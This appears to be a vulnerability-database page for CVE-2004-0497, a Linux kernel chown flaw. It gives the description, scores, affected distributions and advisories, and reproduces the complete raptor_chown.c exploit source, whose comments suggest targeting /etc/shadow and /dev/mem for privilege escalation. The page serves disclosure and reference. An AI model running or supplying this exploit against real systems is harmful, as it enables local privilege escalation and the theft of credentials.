CVE-2004-0497 : Detail

CVE-2004-0497

0.04%V3
Local
2004-07-06
02h00 +00:00
2017-10-09
22h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Unknown vulnerability in Linux kernel 2.x may allow local users to modify the group ID of files, such as NFS exported files in kernel 2.4.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 718

Publication date : 2004-12-23 23h00 +00:00
Author : Marco Ivaldi
EDB Verified : Yes

/* * $Id: raptor_chown.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ * * raptor_chown.c - sys_chown missing DAC controls on Linux * Copyright (c) 2004 Marco Ivaldi <[email protected]> * * Unknown vulnerability in Linux kernel 2.x may allow local users to * modify the group ID of files, such as NFS exported files in kernel * 2.4 (CAN-2004-0497). * * "Basically, you can change the group of a file you don't own, but not * of an SGID executable." -- Solar Designer (0dd) * * On Linux 2.6.x < 2.6.7-rc3 it's possible to change the group of files you * don't own, even on local filesystems. This may allow a local attacker to * perform a privilege escalation, e.g. through the following attack vectors: * * 1) Target /etc/shadow: on some distros (namely slackware 9.1 and debian * 3.0, probably others) the shadow group has read access to it. * 2) Target /dev/mem, /dev/kmem: read arbitrary memory contents. * 3) Target /dev/hd*, /dev/sd*: read arbitrary data stored on disks. * 4) Target /dev/tty*, /dev/pts*: snoop/execute arbitrary commands. * * Usage: * $ gcc raptor_chown.c -o raptor_chown -Wall * $ ./raptor_chown /etc/shadow * [...] * -rw-r----- 1 root users 500 Mar 25 12:27 /etc/shadow * * Vulnerable platforms: * Linux 2.2.x (on nfs exported files, should be vuln) [untested] * Linux 2.4.x < 2.4.27-rc3 (on nfs exported files) [tested] * Linux 2.6.x < 2.6.7-rc3 (default configuration) [tested] */ #include <errno.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #define INFO1 "raptor_chown.c - sys_chown missing DAC controls on Linux" #define INFO2 "Copyright (c) 2004 Marco Ivaldi <[email protected]>" int main(int argc, char **argv) { char cmd[256]; /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s file_name\n\n", argv[0]); exit(1); } /* ninpou: sys_chown no jutsu! */ if (chown(argv[1], -1, getgid()) < 0) { switch(errno) { case EPERM: fprintf(stderr, "Error: Not vulnerable!\n"); break; default: perror("Error"); } exit(1); } fprintf(stderr, "Ninpou: sys_chown no jutsu!\n"); /* print some output */ sprintf(cmd, "/bin/ls -l %s", argv[1]); system(cmd); exit(0); } // milw0rm.com [2004-12-24]

Products Mentioned

Configuraton 0

Mandrakesoft>>Mandrake_multi_network_firewall >> Version 8.2

Conectiva>>Linux >> Version 10

Configuraton 0

Gentoo>>Linux >> Version *

Linux>>Linux_kernel >> Version 2.0

Mandrakesoft>>Mandrake_linux >> Version 9.1

Mandrakesoft>>Mandrake_linux >> Version 9.2

Mandrakesoft>>Mandrake_linux >> Version 10.0

Mandrakesoft>>Mandrake_linux_corporate_server >> Version 2.1

Redhat>>Enterprise_linux >> Version 2.1

    Redhat>>Enterprise_linux >> Version 2.1

      Redhat>>Enterprise_linux >> Version 2.1

        Redhat>>Enterprise_linux >> Version 3.0

        Redhat>>Enterprise_linux >> Version 3.0

        Redhat>>Enterprise_linux >> Version 3.0

        Suse>>Suse_linux >> Version 8.0

        Suse>>Suse_linux >> Version 8.1

        Suse>>Suse_linux >> Version 8.2

        Suse>>Suse_linux >> Version 9.0

        Suse>>Suse_linux >> Version 9.1

        Trustix>>Secure_linux >> Version 2

        Trustix>>Secure_linux >> Version 2.0

        Trustix>>Secure_linux >> Version 2.1

        References

        http://www.redhat.com/support/errata/RHSA-2004-354.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://www.redhat.com/support/errata/RHSA-2004-360.html
        Tags : vendor-advisory, x_refsource_REDHAT
        http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000852
        Tags : vendor-advisory, x_refsource_CONECTIVA